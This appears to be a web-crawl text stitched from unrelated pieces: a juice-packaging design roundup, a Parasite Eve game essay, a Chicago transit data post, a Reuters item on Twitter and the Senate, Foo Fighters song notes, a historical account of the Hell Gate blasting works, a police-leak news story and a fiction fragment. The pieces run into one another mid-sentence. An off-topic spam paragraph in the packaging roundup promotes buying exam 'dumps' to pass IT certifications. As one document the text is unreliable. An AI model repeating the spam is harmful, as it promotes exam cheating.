Branding and packaging can refresh a products or companies image and hold on a market, they are major factors in a products success and need to be well thought out in relation to consumer base and target markets.
I wanted to specifically showcase the fruit juice packaging and branding attempts shown here not only of some larger brands but also some student and concept designed product packaging.
Be Inspired!
Found on the Packaging World
Frutta PackagingWorld
Found the Dieline
Spiral Juices Found on the Dieline
Cawston Press Fruit Juices Found on the Dieline
Organic Avenue Juices Found on the Dieline
Pret Sparkling Juice Found on the Dieline
Cambria Juices Found on the Dieline
Found on Packaging of the World
Found Organic Found on Packaging of the World
Brand names are very important, and to make a brand successful one has to put in a lot of effort, from the time that you enter the market to your success story, such as the HP company and if you want to be a part of that success story make sure you get the HP0-D08 certification and if you want to be an expert in the various fields that the company is covering these days you can also attempt the HP2-K03. Although many people cannot pass the certifications and that is not something new, so in order to make sure that your money doesnot get wasted, spend a little more on the dumps such as the 642-165 dumps, which are for the respective certification and get the best results.
MYGO Super Fruits Found on Packaging of the World
AB Vassilopolous Found on Packaging of the World
Oracle Organics Found on Packaging of the World
Found on the Behance Network
Oskar Found on the Behance Network
California Active Found on the Behance Network
ACME Superfood Smoothie Found on the Behance Network
Solo Juice Found on the Behance Network
Joy Juice Found on the Behance Network
KW Juices Found on the Behance Network
X-Games Parmalat Juice Found on the Behance Network
Found on DeviantART
Apple juice carton Found on DeviantART
Sparkling Fruit Juice Found on DeviantART
Good Day Juices Found on DeviantART
Found on Packing Digest
Juicy Juice Sparkling
Found on Dr Martins
Coco Juice
We encourage you all in the Nenuno community and first time readers alike to give us your thoughts and opinions on the packages, we love to be inspired and we hope this roundup has done the same again for you all.Parasite Eve is the Survival Horror/RPG blend that deserves another chance
In the 90s Resident Evil and Final Fantasy were pivotal in the original PlayStation’s rise as an industry leader. Both were part of Sony’s marketing push to offer a more “mature” console in contrast to Nintendo’s family friendly hardware. Resident Evil was the bleak horror game that taught a mass audience that videogames could be scary, while Final Fantasy VII was the role-playing epic that enticed the masses with its storytelling. Both franchises had very different aspirations in the sort of emotions they wanted to elicit from their audience, but it was only a matter of time before someone tried to combine the two nonetheless. In 1998, several of the creative minds behind Final Fantasy did just that with the release Parasite Eve.
The idea of a survival horror RPG is an interesting concept, but I was always apprehensive to actually giving Parasite Eve a playthrough. To me the genre expectations for RPGs and traditional survival horror games are in too stark contrast, at least in what I respectively enjoy about them both. Theorycrafting, character builds, and spending copious amounts of time in battle making your characters more powerful is a big part of an RPG’s appeal. While survival horror is about reduction and limiting the player’s resources, making you feel vulnerable and afraid in every combat engagement. Basically, empowerment is a big part of RPGs, while disempowerment is a big part of survival horror. I honestly didn’t think the two could be balanced well, and it wasn’t until I played Parasite Eve for myself that I learned how wrong I was on that.
Part of what sets Parasite Eve apart from many other survival horror games of its time is the creative minds around it, and how they approach game design. It was directed by Takashi Tokita, produced by Hironobu Sakaguchi, character designs by Tetsuya Nomura, and composed by Yoko Shimomura. If you’re familiar with Japanese RPGs in the slightest, then most of these names should sound familiar. Basically the minds behind Final Fantasy, Chrono Trigger, and later titles like Kingdom Hearts came together to create their own take on Resident Evil.
The original Resident Evil and many subsequent imitators like to build tension through resource management. The fear in those games comes from the fact that if you get into a scuffle with several zombies, you run the gambit of either using either ammo to protect yourself or healing items to restore your health if you take damage. In either case you’re using precious limited resources, and you need to weigh each dangerous encounter carefully lest you run yourself dry. Parasite Eve however really isn’t like that, as both ammunition and healing items can be acquired as a random drop at the end of a fight. The game encourages battle for gain, which is a big juxtaposition to how Resident Evil handled enemy encounters.
Parasite Eve builds tension in through a different means: by using a more evolved combat system than what’s typically seen in traditional survival horror games. Positioning on the battlefield is key in this game, the farther away from an enemy you are the less damage you do, and the closer you are the more damage you do. It creates a risk vs reward aspect to combat that’ll have you second guessing your choices often. If you try to fight from a distance you’re less likely to get hit with an enemy attack, but you also increase your chances of missing the target and doing far less damage, prolonging the fight. Whereas close range battles will up your damage and reduce the chance to miss, but you’re more likely to get hit by enemy attacks.
Parasite Eve cleverly lifts the “Active Time Battle” system (ATB for short) from Final Fantasy. Basically, there’s a gauge in combat that needs to refill before you can attack, use items, or abilities. It forces the player to pick their actions very carefully. Enemies move around the map quite a bit, and as your ATB gauge refills, you need to move your character around and respond accordingly. An enemy could be a fair distance off, so you choose to attack with your pistol, but you don’t do quite enough damage to finish them off, then they dart at you and kill you before you get the chance to heal. There’s a lot of tension in the combat system that works fits into the survival horror mold well.
There’s also parasite energy, which allows you to use special abilities in the game. What makes me grin about the special abilities in Parasite Eve is that most of them are pulled wholesale from Squaresoft’s playbook; Heal 1, Heal 2, Slow, Confuse, Haste, and Barrier are instantly recognizable if you’re a Final Fantasy fan. While these sorts of abilities may sound a bit overpowered to use in a traditional survival horror game, they’re balanced well in this game. Special abilities tend to eat up most of your parasite energy in one go, and replenishing that energy takes a good deal of time. You could use it all up for a big offensive attack, only for the enemy to respond and you wont be able to use your healing abilities.
While Parasite Eve succeeds in blending survival horror and classic RPG elements, I think the potential for something far greater is there. If Square Enix were ever to return to this franchise, I can’t help but think of the potential for it if they took cues from strategy RPGs like Fire Emblem or Valkyria Chronicles. You see in those games, positioning and tactics are even more essential. What could be really interesting though is if permadeath was implemented in a future Parasite Eve game. In those games you can have members of your party die in battle and they’re gone forever. Imagine a scenario where Aya (the protagonist) has to take a team of fellow police officers into a dangerous battle, and there’s the potential for them to be killed off permanently. It works really well with the existing combat system, as well as the game’s fiction. This is all just me imagining “what if”, but I can’t help it. The potential for the gameplay formula in Parasite Eve is so interesting and has so much room for further expansion.
Another interesting choice the developers made is the option for you to move about freely and explore. Unlike a lot of traditional survival horror games where you are confined to a single hostile environment, Parasite Eve sets itself in New York and allows you to jump from a number of different buildings. There are a multiple side quests and optional dungeons in the game for you to explore, and it fits the story too. The protagonist Aya Brea is a New York City police officer after all, so she’s able to investigate various locations to look for clues to her cases. Another way this could be improved upon in a would-be future installment is to maybe flesh out the city itself and allow you to talk to more citizens. Maybe not a full open world or anything like that, but larger more densely packed public locations like you might see in say a Persona game.
I’ve spoken a lot of about the game design decisions of the first Parasite Eve and the potential of a future installment without addressing the fact that the game already has two sequels. I have not spent much time with Parasite Eve 2, but to be honest I was disappointed that the game stripped away a lot of the RPG elements in favor of a straight up Resident Evil clone. I don’t know much about The 3rd Birthday either other than I
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will ever be able (or willing) to turn Loon into a fully fledged internet service remains to be seen. Having fewer balloons in the air at any given time, though, will surely make it cheaper to operate — and the current version of Alphabet is all about making a profit, after all.Chicago Transportation Statistics at a Glance
Visualizing Public Data Blocked Unblock Follow Following Apr 3, 2015
To date, City of Chicago has published 880 data sets, through its data portal at data.cityofchicago.org/. One of these datasets is Chicago Transportation Authority’s annual ridership data, which can be found here: bit.ly/164e1nI
Even though this data has some minor flaws such as two repetitive months, with a little clean up, I was able to produce some nice graphs.
I wanted to find out if there was any seasonality in terms of ridership and looked at the total which includes rail and bus. Calendar map proved to be fruitful for this task; data sets contain a date field. Filtered by years and displaying the big picture, the chart below shows the rail ridership for 2013:
And then I looked at how often people took the bus in the same year. The chart looks like this:
Notice the light colors on holidays in both years. There are a few clear spikes on the rail ridership chart on a few weekends, one being the 15th of March and the other being 12th of October. This most probably was due to a major event, because we can also observe the same pattern on the previous years.
Here is a link of my dashboard created with Visart (visart.io) software: http://bit.ly/1GQShdH
Simply select the year to see the ridership numbers. Bring the mouse over to see total number of riders. This is a very simple dashboard but gives a good idea about the fluctuations throughout the year.The Twitter Inc. logo is shown with the U.S. flag during the company's IPO on the floor of the New York Stock Exchange in New York, November 7, 2013. REUTERS/Lucas Jackson/File Photo
(Reuters) - Twitter Inc representatives will meet with the U.S. Senate Select Committee on Intelligence staff next week in relation to inquiries into the 2016 U.S. presidential election, a company representative said.
The committee, along with other congressional committees and special counsel Robert Mueller, is investigating possible links between President Donald Trump’s campaign and Russia.
Twitter’s meeting with the committee comes amid mounting pressure on regulators and Silicon Valley companies to open up the opaque world of online political ads and to prevent governments from using them to sway elections or attempt other meddling.
Facebook said earlier this month that a Russia-based operation spent $100,000 on thousands of ads on its social media platform promoting ‘divisive’ messages before and after last year’s presidential election.
After Facebook’s revelations, Democrats have urged the Federal Election Commission to require transparency for social media advertising.
Russia continues to deny meddling in the election, in which Republican Donald Trump defeated Democrat Hillary Clinton.Foo Fighters - The Colour And The Shape
DOLL
"That is basically a song about being afraid to enter into something you're not prepared for."
MONKEY WRENCH
"This is a song about realising that you are the source of all of the problems in a relationship and you love the other person so much, you want to free them of the problem, which is actually yourself."
"It was a riff that turned into another riff that turned into another riff and ended up being a nice little power punk song."
HEY, JOHNNY PARK
"Oh, my God, that song's about 15 different things! The only reason why it's called 'Hey, Johnny Park!' is because when I was young, my best friend was this kid who lived across the street from me called Johnny Park and we were like brothers from the age of 5 to 12. I haven't heard from him since I was about 14 years old and I thought if I named a song after him he might call."
MY POOR BRAIN
"This song's an experiment with dynamics, whether it's the lyrics or the sound of the song. It's just going from dreamy vocals to screamy vocals and Jackson Five to Black Sabbath. Sling it all in there."
WIND UP
"That's the story of the relationship between the journalist and the musician."
UP IN ARMS
"A typical love song. It's almost like a Knack song, just a simple pop song."
MY HERO
"That's my way of saying that when I was young, I didn't have big rock heroes, I didn't want to grow up and be some big sporting hero. My heroes were ordinary people and the people that I have a lot of respect for are just solid everyday people - people you can rely on."
SEE YOU
"Just another pop song. It was the one song that nobody wanted to put on the record, but it's my favourite song. I think that the only reason it ended up on the record was that I re-did the drum track to make it sound like 'Crazy Little Thing Called Love' by Queen."
ENOUGH SPACE
"That song's actually about a movie called Arizona Dreaming, which is one of my favourite films!"
FEBRUARY STARS
"Just a song about hanging on by the tips of your fingers and hoping you don't slip and fall."
EVERLONG
"The first time I've ever played that new wave drum beat and it was fun!"
WALKING AFTER YOU
"It's an emotional, sappy song about getting dumped."
NEW WAY HOME
"That's about winding your way through all of these songs, emotions and pitfalls and ups and downs, but at the end of the day, you realise that you're not scared any more and you're gonna make it."
<< Back to Headwires1885 explosion
In 1851, the U.S. Army Corps of Engineers began to clear obstacles from the strait Hell Gate with explosives. Hell Gate was a strait in the East River, New York City. The operation would last 70 years.[1] On September 24, 1876, the Corps used 50,000 pounds (23,000 kg) of explosives to blast the rocks, which was followed by further blasting.[2] On October 10, 1885, the Corps carried out the largest explosion in this process, annihilating Flood Rock with 300,000 pounds (140,000 kg) of explosives.[3] The blast was felt as far away as Princeton, New Jersey.[3] It sent a geyser of water 250 feet (76 m) in the air.[4] The blast has been described as "the largest planned explosion before testing began for the atomic bomb",[4] although the detonation at the Battle of Messines in 1917 was larger. Rubble from the detonation was used in 1890 to fill the gap between Great Mill Rock and Little Mill Rock, merging the two islands into a single island, Mill Rock.[3] The incident inspired the climactic conclusion of Bram Stoker's novel The Lair of the White Worm.[citation needed]
Etymology [ edit ]
The name "Hell Gate" is a corruption of the Dutch phrase Hellegat (it first appeared on a Dutch map as Helle Gadt[5]), which could mean either "bright strait" or "clear opening",[6] and it was originally applied to the entirety of the East River. Dutch explorer Adriaen Block, the first European known to have navigated the strait, described it in his journals during his 1614 voyage aboard the Onrust. Hellegat is a fairly common name for waterways in the Low Countries, with at least 20 examples.[7] Because explorers found navigation hazardous in this New World place of rocks and converging tide-driven currents (from the Long Island Sound, Harlem River strait, Upper Bay of New York Harbor, and lesser channels, some of which have been filled), the Anglicization stuck.[8]
Timeline summary [ edit ]
1832: Pot Rock removed, cost $20000, depth increased from 18.3 to 20.6 feet.
1871: Coenties Reef removed.
1872: Frying-pan Rock removed.
1869-1873: Diamond Reef removed.
August 1869 to 1876: reef at Hallett's Point removed.
10 October 1885: Flood Rock removed
1890: Rubble from Flood Rock was used to fill the gap between Great Mill Rock and Little Mill Rock.
Up to 1876 [ edit ]
The great obstruction impeding the ship-travel between the Atlantic Ocean and New-York City, via Long Island Sound, was located at a promontory of Long Island called Hallett's Point. It extended out into the East River, approaching Ward's Island, which occupies three-fifths of the width of the river at that point; and some dangerous rocks were found in the immediate vicinity. The narrow channel thus formed has been a danger and a difficulty to navigators ever since this part of the country was first explored.
The first mention of preparations for commencing the work of removing the obstructions is found in the Report by Lieuts. Davis and Porter, of the United-States navy, made in the year 1848. This document gives a very accurate description of the course of tidal currents, the dangers to navigation caused by the rocks, obstructions, etc.; and it recommends that Pot Rock, the Frying Pan, and Way's Reef be blasted and scattered. The two former are single rocks of a pointed shape: the latter is long, and has the character of a ledge. The report also recommends that the middle channel be improved by blasting, so as to make a clear channel of sufficient depth for common vessels and steamboats ; and it also speaks of the increased facilities for naval defence which this improvement would afford. The difficulty of blockading the port of New York, with two outlets instead of one, would be, at least, doubled. Lieut. Porter did not exactly agree with Lieut. Dayis as to the best plan for improving the channel. They both recommended the removal of the small rocks — Frying Pan and Pot Rock — from the middle of the channel; and Porter included a part of the reef at Hallett's Point, the shell of which was blown in atoms, its interior having been removed and deposited far away on dry land. The art of blasting under water was almost unknown at the inception of this work; and engineers agree, that even the little improvement recommended by them could not have been effected without the inventions and discoveries which have since been made. The process adopted at that time for submarine blasting was to take down cans of powder, place them against the side or top of the rock, and explode them by means of a galvanic battery. This did well enough for rough and jagged rocks and bowlders; but so soon as the surface had been levelled off, it was of little or no use to attempt to continue the operation.
In 1832, Congress having made an appropriation of twenty thousand dollars for the removal of the rocks at Hell Gate, Major Fraser, of the engineers, began operations according to the Maillefert process. The sum of eighteen thousand dollars was expended on Pot Rock, and the depth of water was increased from 18.3 to 20.6 feet. This was all that had been accomplished up to 1868, when the duty of an examination of Hell Gate was committed to Gen. Newton of the United-States engineers, who made a report in January, 1867. For operating on the rocks in the middle of the channel, a steam-drilling scow was constructed. It had a well-hole in it thirty-two feet in diameter, through which twenty-one drills were worked; while the scow lay on the surface of the water directly over the rock to be operated upon. This formidable machine was first used in the spring of 1869, on Diamond Reef. A large number of holes were drilled into this rock, varying from seven to thirteen feet in depth, four and a half inches in diameter at the top, and three and a half inches at the bottom; and the rock was broken up by charges of nitroglycerine of from thirty to thirty-five pounds. Coenties Reef was operated upon in 1871. Ninety-three holes were drilled, and charged with nitroglycerine ; and seventeen surface-blasts were made. In 1873 three hundred and seven holes more were drilled, and thirty-nine surface-blasts were made. The amount of nitroglycerine consumed was 17,127 pounds, and the reef was thoroughly broken up. The debris had been partly removed, when, in 1875, Congress, owing to a mere clerical blunder, failed to include Diamond Reef in the appropriation; and work at that place had to be suspended. In 1872 the drilling-scow was towed to Frying-pan Rock. Seventeen holes were drilled, and eleven surface-blasts made.
Operations for removing the reef at Hallett's Point were begun in August, 1869. A coffer-dam was built of timber, securely fastened to the rocks by bolts passing through the framework. The coffer-dam was pumped out about the middle of October; and operations on the interior for sinking the shaft were begun early in November, and continued till the middle of June, 1870, when work was suspended on account of the funds appropriated for this part of the work being exhausted. At that time four hundred and eighty-four cubic yards of rock had been taken out, at a cost. of $5.75 per yard. In the latter part of July operations were resumed ; and, during that fiscal year, the shaft was sunk to the required depth of thirty-three feet below mean low water, and the heads of the ten tunnels opened to distances varying from fifty-one to one hundred and twenty-six feet. Two of the cross-galleries had also been opened. The amount of rock excavated from this place that year was 8,306 cubic yards, and the drilling was all done by hand. During the next year the use of steam-drills partially succeeded hand-drilling, and the work was pushed more rapidly. The number of feet of tunnel driven during the year was 1,653, and of transverse galleries 653.75. The quantity of rock removed was 8,293 cubic yards. A ground-plan of the work herewith gives an excellent idea of the excavation as completed. An exceedingly well-executed model of the works was exhibited at the Centennial Exhibition at Philadelphia. It is made exactly to scale, and well represents the nature and extent of the vast operations that have now been successfully completed.
The rock-bed of the river is, in the model, raised from the pillars that support it, so that a close inspection of the interior may be made. There are one hundred and seventy-two of these pillars, pierced with about four thousand drill-holes; and the shell, or roof, or bed of the river, varies from six to sixteen feet in thickness. No less than thirty thousand cubic yards of broken stone was left under water, all of which was removed by dredging.
A detailed survey of the upper surface of the reef was made in 1871, by Mr. William Preass, assisted by Mr. F. Sylvester. They took more than sixteen thousand soundings, each separately located, by means of instruments, from the shore. Great pains were taken to delineate exactly the surface of the rocks. The appropriation of 1871 was two hundred and twenty-five thousand dollars, — just one-half the amount asked for by Gen. Newton, who regretted that the beginning of operations on the Gridiron was thus prevented, as he considered this rock more dangerous to the navigation of large vessels than Hallett's-Point Reef. For the next year he asked six hundred thousand dollars, but got less than half that sum. About the middle of November, 1873, work was suspended for want of funds; at the end of the fiscal year, June 30, 1874, it was found, that, for the four months and a half during which operations had been carried on, 896 linear feet of tunnels had been opened, and 4,648 cubic yards of rock removed. The total length of tunnels and galleries then amounted to 6,780.67 feet. The excavation now being nearly finished, the manner of finally blowing up the whole mine began to exercise the minds of the engineers. Gen. Newton finally suggested his own plan for blowing up the reef at Hallett's Point, which was to perforate each pier with drill-holes entirely or partly through its mass, a sufficient number of these being provided to complete the destruction of the pier when fully charged. The charges in the different holes of the same pier were to be connected together; and a fuse, composed of a quick explosive, would connect the system of charges in each pier with those of the neighboring piers. By this mode, the communication of heat or the electric spark to a few centres of explosion would suffice to propagate it through the whole system, because the explosion of the connecting fuse would advance more rapidly than the demolition of the rock. Gen. Newton's plan was adopted, with few slight changes, principally suggested by himself. Instead of depending on explosives to convey fire from pier to pier throughout the mine, an electric spark was sent directly to every centre, insuring the simultaneous explosion of the whole mine. It was decided that the minimum amount of explosives could be determined by placing one charge in each square pier and two in each oblong pier ; but this mode would make the lines of least resistance the maximum, and thus increase the shock, which would be propagated through the reef to the dwellings upon the land. It was therefore determined to decrease the lines of least resistance, which would multiply the number of blasts, and increase the quantity of explosives, but would, at the same time, reduce to a minimum the vibrating influence through the reef. It was, therefore, calculated that the exterior effect, except an agitation of water, would be small.
The proximity of the reef to habitations at Astoria, Ward's Island, and Blackwell's Island, made it necessary to devise a system of explosion, which, effecting the work of demolition would, at the same time, do no damage to life and property.
The atmosphere and the rock being the mediums through which the shock would be transmitted, it was essential that the waves propagated through these should be made as small as possible.
It was evident, in the first place, that, if to each charge its full capacity of useful work in the breaking-up of the rock were assigned, regard being likewise had to the superincumbent weight of water, no external effect of moment would be perceived in the atmosphere.
In the second place, it was evident that the magnitude of the rock-wave would depend greatly upon the amount contained in individual charges; that is, if eighty pounds were required for the individual charge, the vibration of the rock would be much greater than if these charges did not exceed twenty pounds. It was known that eighty-pound charges of nitroglycerine, fired in numbers of twelve to twenty, did not cause a destructive wave.
Again: the reef, after excavation, being connected with the rest of the rock formation only through the piers and the outer edge of the roof, it was inferred that the shock propagated in the rock should be estimated as due mainly to the charges necessary to disrupt the piers and roof from their connection with the bed-rock; and, also, that the additional number of charges required to break up the roof and piers would not enter largely into the amount of shock transmitted under ground.
These were the fundamental ideas upon which the system of mines was established. As the tunnels in radial lines concentrated upon the land, an accumulative explosive effect in that direction was prevented by so proportioning the charges that the roof should be broken through by the first impulse in many places, and thus give vent upward.
To prevent a concentric explosion, by which the debris might be heaped up in large masses near the centre of the area, the charges in the outer zone of the semi-elliptical reef were increased beyond those of the other portions; and by this means the masses of debris fell generally back in the places to which they originally belonged. Some portions were thrown beyond the limits of the reef toward the channel, and constituted what may be termed a dispersive explosion.
Hallett's-point Reef is in the shape of an irregular semi-ellipse; the major axis, which lies next to the shore, being seven hundred and seventy feet in length, and the minor axis projecting straight into the channel about three hundred feet. The cubic contents above the depth of twenty-six feet at mean low water amount to fifty-one thousand yards. Besides the risk of striking the reef, it produces eddies on both sides of it according to the direction of the tidal currents, and is much in the way of vessels coming down in the ebb in the effort to hug the shore, and thus avoid being drawn upon Middle Reef. The explosives used in tunnelling at Hallett's Point have been nitroglycerine and its compounds, and gunpowder; the' latter being used only when the rock was weak and seamy. Nitroglycerine was always used for driving the headings of the tunnels. To drive a heading, the drill-holes are made at an angle with the fuse, so that the charge lifts out the rock by its explosion. A cavity being made in the middle of the heading, holes are drilled around it, and the surrounding rock blown into it. Only one blast is exploded at a time, as great care has to be taken not to shake the structure overhead by too heavy vibrations. There is consequently no volley firing, and the galvanic battery is not used for discharging the blasts. The average twelve months' work, with six Burleigh drills, was the excavation of two hundred and thirty-five lineal feet of heading per month. Up to June, 1872, the work had been prosecuted by hand-drilling, with the exception of 20,160 lineal feet of drilling by the Burleigh drill, and 7,000 feet by the diamond drill. That by the Burleigh drills was done by contract, at so much a foot; and the diamond drill, purchased for the purpose of exploring the rock ahead, was put in competition with it.
The cost of drilling, after a long trial with the Burleigh, is found to be between thirty-six and thirty-seven cents per foot, including repairs, etc. The cost of hammer-drilling was found to be about ninety-five cents per foot. The number of feet of holes drilled by each machine per shift of eight hours was thirty feet.
The diamond drill, owing to the encounter of frequent veins of pure quartz in the rock, often gives out, and has to be repaired. Owing to the restricted area of the tunnels and galleries, the work of excavation was almost exclusively that denominated heading, without the advantage of enlargement. The rock, after being blasted, was lifted by hand into a box resting on a truck-car, which was run down to a point upon a rail-track, and thence drawn by a mule to the shaft, where the box was hoisted by a derrick, and its contents emptied into dump-cars, to be rolled away, and deposited in the pile. Calling the cost of blasting and removing one cubic yard one dollar, the following gives the proportion of each item of expenditure:
Blasting.4600 Transporting rock to shaft.1700 Hoisting.0328 Dumping.0203 Pumping.1037 Incidental.2132
The work of excavation having been finished, the drills were set to work perforating the roof and piers with holes to receive the final charges which are to explode the mine.
The mode of calculating and arranging the charges was to consider the roof-holes as the receptacles of explosives enough to form common mines.
The line of least resistance was assumed as the distance from mid-length of the charge to the surface of the rock. Since the charges were perfectly tamped by the confined water within the excavation, this rule of measuring the line of least resistance was assumed to be practically correct. With less perfect tamping, the lines of least resistance for such mines designed to break through the roof would have required estimates quite different.
The average amount of explosives required to break up and dislodge one cubic yard in enlargement had already been found to be.97 pound ; and from this resulted
C = charge in pounds = 0.038 L 3 ; {\displaystyle C={\text{charge in pounds}}=0.038L^{3};}
L being line of least resistance in feet.
All roof-holes, excepting those over piers, were treated by this formula. The piers, being very irregular in shape and size, would have exacted much care and time to have located the holes and proportioned the charges to the exact mathematical requirements in each case. One pound and a half of explosives were assigned, as a rule, to each cubic yard of the piers; it being considered of the first importance to demolish completely these supports of the roof.
The roof-holes above piers were charged from the formula:
C = n L s ; {\displaystyle C=nL^{s};}
being successively.038,.05, and.06, increasing from the shaft outward.
The bodies of piers within the outer zone were charged with two pounds per cubic yard. Within the inner zone, where the depth was comparatively little, it was considered proper to reduce the charges to the smallest limit capable of affording a good result, both to avoid disturbance of the atmosphere and to prevent a concentrated action, due to the direction of the tunnel upon the land. The increased proportion given to the charges within the outer zone favored this intention, by giving quick vent to the gases in that direction.
The cubic contents of the roof and piers were 63,135 yards and the amount of explosives as follows: rend-rock 9,127 ½ lbs., vulcan powder 11,852 13/16 lbs., dynamite 28,935 ¼ lbs. — total 49,915 9/16 lbs. Being at the rate of 0.79 pound to each cubic yard.
The explosives were packed at the respective places of manufacture, in tin cartridge-cases, the last being furnished by the Government.
The number of holes charged was 4,427, and the number of tins used was 13,596; eighty-seven percent being twenty-two inches, and the remainder eleven inches, in length.
The holes being tapering, the cases varied in diameter from one and three-eighths to two and a half inches; the intermediate sizes differing by one-eighth of an inch.
One end of the tin case was fitted with a screw cap, with rubber washers to exclude water ; the other end being arranged with four short lengths of brass wire, soldered on the perimeter of the bottom, and spread out. When the cartridge was pushed home, the wires, by their elasticity, pressing against the side of the hole, prevented a falling-out.
On the 11th September the charging of holes was commenced, and finished at nine p.m. on the 20th, — consuming nine days. Had the cartridges been delivered in good condition, this operation would have consumed only about four days.
These holes were made from two to three inches in diameter, and from six to ten feet apart, and their average depth about nine feet. The size of the holes, and their direction and distances apart, were made to vary according to the character of the rock to be broken. The drilling of these holes up into the roof of the mine soon increased the leakage of water into the works from three hundred gallons per minute to five hundred, it being impossible to avoid tapping a seam occasionally. Many of the holes that were found to be leaking were plugged up temporarily, and the leakage thus reduced. The outside gallery and the No. 4 heading were deepened so as to concentrate all the leakage, and cause it to flow to the shaft-end of that heading, where pumps were placed. The following shows the amount of the appropriations made by Congress each year for Hell-gate and East-river improvement, and the whole amount expended up to the date of the last report of Gen. Newton to the chief engineer:
1868 $85,000 1869 180,000 1870 250,000 1871 225,000 1872 225,000 1873 225,000 1874 250,000 1875 250,000 Total $1,690,000
After this report was made, Congress appropriated $250,000.
Total amount of appropriations $1,940,000.00 Total amount expended to Aug. 1, 1876 $1,686,811.45 Estimated cost of completing entire work of improving Hell Gate and the East River $5,139,120.00
Care had been taken to test the various kinds of explosives. Up to the middle of 1874, nitroglycerine had been principally used for blasting purposes. Several hundred pounds of mica-powder were then tried, some giant-powder, several thousand pounds of rend-rock, and, later, considerable vulcan-powder was used. All of these are nitroglycerine compounds. Neither of them was found to be as powerful as the glycerine itself; but it was repeatedly demonstrated, that, with ten ounces of rend-rock or vulcan-powder, they could break as much rock as they formerly did with eight ounces of nitroglycerine, while the cost per pound was less than one-half that of glycerine.
The Mode of Firing (Final Explosion 1876) [ edit ]
After the holes had been charged with tin canisters, the next operation was to insert the priming-charges, which were contained in brass tubes. Brass was preferred to tin on account of greater durability in salt water and better protection against leakage, — conditions insuring the detonations at least against moisture, should the exposure be of long duration.
The amount of these charges — three-fourths of a pound to each primer — has been included in the grand total already given. The primers contained also, as detonators, fuses holding each twenty grains of fulminate of mercury. The terminals of two connecting-wires were inserted in each fuse, and bridged with.001-inch silver platinum wires a quarter inch in length.
The fuses, in groups of twenty, were connected in continuous series with connecting-wires. A lead and a return wire were attached to each group.
Twenty primers, with fuses and wires properly arranged in a box, with lead and return wires on reels, were carried to each party engaged in this work. The time consumed in placing 3,680 primers, unreeling the lead and return wires, and leading these out of the shaft, was two days and a fraction.
The connecting-wires, in length varying in the different groups from twenty to thirty-five feet, were copper wires of No. 18 American gauge (.04303 inch), insulated by a coat of guttapercha; the size after coating being No. 9 American gauge (.11443 inch). The total amount used was 118,525 feet.
The lead and return wires were copper wires of No. 12 American gauge (.080808 inch), insulated with two coats of guttapercha; size of coating. No. 4 American gauge (.2043 inch). The total amount used was 147,703 feet, in lengths from 250 to 625 feet.
The batteries used consisted respectively of forty, forty-three, and forty-four cells of zinc and carbon, or nine hundred and sixty cells in all, divided into twenty-three distinct batteries, each battery to fire a hundred and sixty fuses, arranged in divided circuit, in eight groups of twenty each. The fluid was made in the proportion of six pounds of bichromate of potassa, one gallon concentrated pure English sulphuric acid, and three gallons of water.
The separate batteries were so arranged in two frames, that all the cells could be immersed by the same operation. The system then consisted of 3,680 mines and twenty-three batteries ; each battery assigned to a hundred and sixty mines, which were divided into eight groups of twenty each.
The mines of each group were connected in continuous series, and a lead and return wire to the battery closed the circuit. To insure the simultaneous discharge of the whole system, a "circuit-closer" was introduced.
The method, which will be explained, for one division of a hundred and sixty charges, will suffice for the others.
One lead-wire from each group of the division — i.e., eight in all — was connected with one pole of the battery. The other pole was then connected with a brass pin, penetrating through a wooden horizontal disc, which, being let go by the run, would cause the brass pin to enter a cup filled with mercury, planted in a second wooden horizontal disc fixed in position. If the eight return-wires of the same group were then connected with the brass cup containing mercury, it is evident, that, when the brass pin entered the mercury-cup, the circuit would be closed, and explosion would result. Obviously, if, instead of one pin and one mercury-cup, twenty-three pins and twenty-three cups were attached respectively to the two discs, and the same connections as just described made for each and every division of a hundred and sixty mines, a simultaneous explosion would result at the moment when the upper disc should fall upon the lower.
The upper disc was held over the lower one, and apart from it, by a cord passing and looped over the tin case of a torpedo, securely attached to a frame. This torpedo, or cartridge of dynamite, was provided with a detonator, from which two wires passed to a small battery situated twenty-one hundred feet distant. The torpedo was fired by closing this circuit with a Morse's key : the cord being severed, allowed the upper disc to descend upon the lower, and thus close the circuit of the great batteries.
The siphon was started at 12.07 a.m. on the 23rd of September, and at 7.30 p.m. the excavations were filled to the level of the tide.
The mines were fired at three seconds past 2.50 p.m., on Sept. 24, 1876.
The explosion was distinguished by the absence of hurtful shock in the atmosphere, in the water, or under ground.
The elevation of spray, vapor, and gases, projected upward, reached to the height of a hundred and twenty-three feet, measured at the centre and highest point. The quantity of water actually raised was trifling, as evidenced by the almost total absence of a propagated wave. The explosive effort in the air was not perceptible ; the glass in buildings close to the dam, and of one in particular along the shore-line of the shaft itself, not having in a single instance been broken.
The underground shock was trifling, but perceptibly felt in the cities of New York and Brooklyn. Along the line of the reef, a little plastering was dislodged from a ceiling in a house a hundred and fifty yards, and in two houses six thousand yards, from the work.
The new facts obtained by this experience were:
1st, that an unlimited amount of explosives, distributed in blast-holes in moderate charges, proportioned to the work to be done, thoroughly confined in the rock, and tamped with water, may be fired without damage to surrounding objects. 2nd, that an unlimited number of mines may be simultaneously fired by passing electric currents through the platinum-wire bridges of detonators.
The total cubic contents demolished by the explosion were 63,135 cubic yards solid. On the different suppositions for the broken debris of once and a half, and of twice, the original volume, there would result respectively 94,702.5 and 126,370 cubic yards.
The contractor was set at work removing the broken rock with a steam-grapple. The cost to the government is $2.40 per ton of 2,240 pounds.
The quantity of broken stone to be grappled in order to obtain a depth of twenty-eight feet was 45,488 cubic yards.
References [ edit ]
Notes
BibliographyPolice officer resigns, 5 others under investigation over leak of confidential police documents
Updated
A former police officer has been charged with the leak of thousands of pages of Victoria Police documents to criminal organisations.
Police lost 1,600 files including 6,000 pages of information and electronic data in May last year in what was described as one the the most significant leaks in the history of the organisation.
The officer, who resigned during the course of the investigation, has been charged with perverting the course of justice, drug, property and gun offences.
Another five officers have been suspended on allegations of stealing from an inner city police station or stealing from drug addicts.
Victoria Police Chief Commissioner Ken Lay said they were extremely lucky no police informants were hurt as a result of the leaks.
"There was a very, very real risk some people may have been assaulted or worse as a result of this security leak, but we probably got it early enough to prevent that happening," he said.
"If this person had been able to stay in the Victoria Police, continue to access information, continue to provide this information to people with very significant criminal backgrounds there was potential for disaster."
He indicated more charges are likely.
The documents were found at three properties, including one which was linked to an outlaw motorcycle gang.
Topics: police, melbourne-3000
First postedTwenty minutes passed.
“We need men down here!” Tom yelled.
“We’re waiting on people,” a voice replied.
